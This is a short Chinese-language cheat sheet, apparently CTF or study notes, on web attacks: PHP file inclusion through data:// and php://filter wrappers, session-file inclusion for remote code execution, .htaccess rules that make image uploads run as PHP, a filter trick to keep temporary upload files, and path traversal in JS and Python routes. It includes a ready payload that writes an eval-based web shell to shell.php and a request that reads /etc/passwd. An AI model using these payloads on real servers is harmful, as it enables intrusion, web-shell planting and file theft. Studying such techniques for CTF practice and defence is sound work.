文件包含
data协议
伪装成文件的方式传输数据
data://[媒体类型];[编码方式],[数据]
data://text/plain;base64,aGVsbG8=
php://filter协议
将一个能被解析的文件以文本的方式输出
php://filter/[过滤器]/resource=[文件路径]
php://filter/convert.base64-encode/resource=flag.php
session文件包含
session是以键值对的方式存储数据,假如可以我们可以控制session的值,再通过文件包含包含session文件,即可实现rce
session文件目录 /tmp/sess_加上你的session值 或/var/lib/php/sessions/sess_加session值
自己自定义session文件名(就是改session值),上传文件,文件名字为一句话木马,使用文件包含包含session文件,实现rce
文件上传.htaccess文件
AddType application/x-httpd-php .jpg
或
<FilesMatch "03.jpg"> SetHandler application/x-httpd-php </FilesMatch>
<FilesMatch "\.(jpg|png)$">匹配全部jpg和png(推荐)
session文件包含(扩展)
tmp缓存文件
上传文件(没有上传点就自己构造)时会上传到tmp后做处理,处理完后删除文件。使用php://filter/string.strip_tags/resource=/etc/passwd会导致栈崩溃,就不会清理tmp缓存文件,漏洞范围php7。(同时进行)
php写入木马代码
<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
将<?php @eval($_POST[cmd]?>写入shell.php
w的作用:写入。文件存在清空内容重新写入,
任意文件读取
js路由任意文件读取
js路由目录拼接路径时没有过滤,使用../跳出路由指定的目录实现任意文件读取

--path-as-is:让 curl 不对 URL 中的 ../ 等路径进行规范化处理,即保留原始路径中的特殊字符(例如 .. 目录遍历符号),防止服务器或 curl 自动解析去掉它们
python路由任意文件读取
python路径拼接时,第二个参数是以/开头就会认为是根目录,以第二个参数为准
